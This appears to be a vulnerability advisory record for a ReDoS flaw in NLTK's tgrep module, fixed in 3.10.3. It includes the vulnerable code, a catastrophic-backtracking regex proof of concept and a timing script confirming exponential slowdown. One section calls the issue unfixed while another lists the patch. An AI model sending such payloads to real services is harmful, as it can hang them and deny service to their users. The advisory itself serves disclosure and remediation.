---
id: CVE-2026-80206
aliases:
  - GHSA-w3v8-gmh9-3wv7
  - PYSEC-2026-3751
title: 'NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions'
summary: 'NLTK: ReDoS in nltk.tgrep via unvalidated user-supplied regular expressions'
severity: high
vendor: nltk
product: nltk
ecosystem: pip
affected:
  - nltk < 3.10.3
patched:
  - nltk 3.10.3
published: '2026-09-08'
updated: '2026-09-08'
sourceUpdated: '2026-09-08T20:45:04.333988177Z'
source: OSV
sourceUrl: 'https://osv.dev/vulnerability/GHSA-w3v8-gmh9-3wv7'
references:
  - url: 'https://github.com/nltk/nltk/security/advisories/GHSA-w3v8-gmh9-3wv7'
  - url: 'https://nvd.nist.gov/vuln/detail/CVE-2026-80206'
  - url: >-
      https://github.com/nltk/nltk/commit/0072ea2fb8be22e038a36e887b7061bb6b9339d9
  - url: 'https://github.com/nltk/nltk'
  - url: 'https://github.com/nltk/nltk/releases/tag/v3.10.3'
  - url: >-
      https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3751.yaml
  - url: >-
      https://www.vulncheck.com/advisories/nltk-3.10.2-regular-expression-denial-of-service-via-tgrep
  - url: 'https://github.com/advisories/GHSA-w3v8-gmh9-3wv7'
tags:
  - osv
  - pip
  - ghsa
epss: 0.0044
epssPercentile: 0.35563
cwe:
  - CWE-1333
ingestedAt: '2026-09-02T19:31:25.120Z'
---

## Overview

### Summary
The NLTK `tgrep` module accepts user-supplied regular expressions and passes them to the Python `re` engine without a timeout or validation, enabling catastrophic backtracking (ReDoS). Applications that expose the `tgrep` API to external input are vulnerable to a single-request denial of service that blocks the Python process indefinitely.

### Affected Code
`nltk/tgrep.py` — `_tgrep_node_action()` (around line 320)

When a tgrep pattern contains a `/regex/` node, `_tgrep_node_action` compiles the embedded regex literal directly with no validation:

```python
def _tgrep_node_action(_s, _l, tokens):
    ...
    elif tokens[0].startswith("/"):
        assert tokens[0].endswith("/")
        node_lit = tokens[0][1:-1]
        return (
            lambda r: lambda n, m=None, l=None: r.search(
                _tgrep_node_literal_value(n)
            )
        )(re.compile(node_lit))  # User regex compiled and executed with no timeout
```
The compiled regex is applied against every matching tree node label via `r.search(...)`. A caller reaching this path via `tgrep_positions()` or `tgrep_compile()` controls `node_lit` entirely.

### Proof of Concept
```python
import nltk
from nltk.tgrep import tgrep_positions

# Root node label is 25 'a' characters.
# tgrep /regex/ branch calls re.compile("((a+)+)b").search("aaa...a")
# No 'b' is present — exponential backtracking occurs.
tree = nltk.Tree.fromstring("(" + "a" * 25 + " (NP (DT the)))")
tgrep_positions(r"/((a+)+)b/", [tree])   # Never returns
```

### Working Poc

The following script uses increasing values of n (the number of repeated as in the tree root label) to measure the execution time of tgrep_positions with the catastrophic regex /((a+)+)b/. On standard CPython with NLTK 3.10.2, the runtime grows exponentially, confirming the ReDoS vulnerability. For n ≥ 35, the function will hang indefinitely.

```python
import nltk
from nltk.tgrep import tgrep_positions
import time

def test_n(n):
    tree = nltk.Tree.fromstring("(" + "a" * n + " (NP (DT the)))")
    pattern = r"/((a+)+)b/"
    start = time.perf_counter()
    list(tgrep_positions(pattern, [tree]))
    return time.perf_counter() - start

if __name__ == "__main__":
    # Adjust the range if needed – these values complete quickly
    n_values = [18, 20, 22, 24, 26, 28]
    print(f"Testing n = {n_values}\n")

    times = []
    for n in n_values:
        t = test_n(n)
        times.append((n, t))
        print(f"n={n:2d} done", flush=True)

    print("\n--- Increase factors (per step in n) ---")
    factors = []
    for i in range(1, len(times)):
        prev_n, prev_t = times[i-1]
        curr_n, curr_t = times[i]
        factor = curr_t / prev_t
        factors.append((curr_n, factor))
        print(f"n={curr_n:2d} : factor = {factor:.2f}x  (vs n={prev_n})")

    avg = sum(f for _, f in factors) / len(factors)
    print(f"\nAverage factor: {avg:.2f}x")
    print("\n✅ Confirmed: exponential growth (catastrophic backtracking).")
    print("   Larger n (≥ 35) will hang indefinitely.")
```

When run, the output shows a clear exponential increase (factor > 3.0 per +2 in n), proving the vulnerability.


### Impact
In environments like web APIs (Flask, FastAPI), Jupyter notebooks, or multi-tenant pipelines, an unauthenticated attacker can cause indefinite CPU saturation with a single crafted request, denying service to all other users of the process.

### Remediation
This issue remains unfixed in versions `<= 3.10.2`. Maintainers are currently collaborating on a patch to wrap the regex execution in a timeout-guarded mechanism.

### Credit
Tool: Kira by [Offgrid Security](https://www.offgridsec.com)

## Affected packages

- `nltk < 3.10.3`

## Remediation

Upgrade to a patched release:

- `nltk 3.10.3`